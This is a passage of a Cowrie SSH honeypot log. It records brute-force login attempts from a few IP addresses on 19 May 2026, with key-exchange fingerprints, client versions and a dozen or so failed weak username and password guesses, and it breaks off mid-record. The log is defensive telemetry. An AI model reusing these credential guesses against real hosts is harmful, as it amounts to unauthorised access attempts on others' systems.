{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:48.939151Z","src_ip":"192.109.200.237","session":"b66d13ecb065","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fucker","message":"login attempt [root/fucker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:49.059627Z","src_ip":"103.172.78.219","session":"c30a00b2ddad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix","message":"login attempt [bitrix/bitrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:49.184316Z","src_ip":"192.109.200.237","session":"b66d13ecb065","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:50.268497Z","src_ip":"192.109.200.237","session":"b66d13ecb065","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:50.320548Z","src_ip":"103.172.78.219","session":"c30a00b2ddad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42030,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5bb08685fea","protocol":"ssh","message":"New connection: 192.109.200.237:42030 (159.203.135.109:22) [session: e5bb08685fea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:52.037146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:52.142225Z","src_ip":"192.109.200.237","session":"e5bb08685fea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:52.145664Z","src_ip":"192.109.200.237","session":"e5bb08685fea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu-server","password":"123456","message":"login attempt [ubuntu-server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:52.496081Z","src_ip":"192.109.200.237","session":"e5bb08685fea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:53.582358Z","src_ip":"192.109.200.237","session":"e5bb08685fea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42068,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4c793a860ab","protocol":"ssh","message":"New connection: 192.109.200.237:42068 (159.203.135.109:22) [session: c4c793a860ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:55.379757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:55.384662Z","src_ip":"192.109.200.237","session":"c4c793a860ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:55.468468Z","src_ip":"192.109.200.237","session":"c4c793a860ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:55.722769Z","src_ip":"192.109.200.237","session":"c4c793a860ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:56.849887Z","src_ip":"192.109.200.237","session":"c4c793a860ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42094,"dst_ip":"159.203.135.109","dst_port":22,"session":"6634e63d23af","protocol":"ssh","message":"New connection: 192.109.200.237:42094 (159.203.135.109:22) [session: 6634e63d23af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:58.543440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:58.552108Z","src_ip":"192.109.200.237","session":"6634e63d23af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:58.634875Z","src_ip":"192.109.200.237","session":"6634e63d23af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:58.881501Z","src_ip":"192.109.200.237","session":"6634e63d23af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:59.967883Z","src_ip":"192.109.200.237","session":"6634e63d23af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53512,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0696d8b3bf0","protocol":"ssh","message":"New connection: 192.109.200.237:53512 (159.203.135.109:22) [session: d0696d8b3bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:01.981640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:01.986092Z","src_ip":"192.109.200.237","session":"d0696d8b3bf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:02.070215Z","src_ip":"192.109.200.237","session":"d0696d8b3bf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:02.316966Z","src_ip":"192.109.200.237","session":"d0696d8b3bf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:03.402734Z","src_ip":"192.109.200.237","session":"d0696d8b3bf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53544,"dst_ip":"159.203.135.109","dst_port":22,"session":"d44ccc24c5cb","protocol":"ssh","message":"New connection: 192.109.200.237:53544 (159.203.135.109:22) [session: d44ccc24c5cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:05.291293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:05.295233Z","src_ip":"192.109.200.237","session":"d44ccc24c5cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:05.377236Z","src_ip":"192.109.200.237","session":"d44ccc24c5cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:05.625436Z","src_ip":"192.109.200.237","session":"d44ccc24c5cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:06.778266Z","src_ip":"192.109.200.237","session":"d44ccc24c5cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":59220,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9a5bf411588","protocol":"ssh","message":"New connection: 51.250.105.222:59220 (10.17.0.5:22) [session: b9a5bf411588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:08.544857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:08.548731Z","src_ip":"51.250.105.222","session":"b9a5bf411588","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53556,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4ada5d394c1","protocol":"ssh","message":"New connection: 192.109.200.237:53556 (159.203.135.109:22) [session: f4ada5d394c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:08.581053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:08.585181Z","src_ip":"192.109.200.237","session":"f4ada5d394c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:08.669544Z","src_ip":"192.109.200.237","session":"f4ada5d394c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:08.681627Z","src_ip":"51.250.105.222","session":"b9a5bf411588","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:08.915255Z","src_ip":"192.109.200.237","session":"f4ada5d394c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nastya123","message":"login attempt [root/nastya123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:09.099231Z","src_ip":"51.250.105.222","session":"b9a5bf411588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:09.999851Z","src_ip":"192.109.200.237","session":"f4ada5d394c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:10.233437Z","src_ip":"51.250.105.222","session":"b9a5bf411588","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50580,"dst_ip":"159.203.135.109","dst_port":22,"session":"990cdd957cf7","protocol":"ssh","message":"New connection: 192.109.200.237:50580 (159.203.135.109:22) [session: 990cdd957cf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:11.801714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:11.853924Z","src_ip":"192.109.200.237","session":"990cdd957cf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-c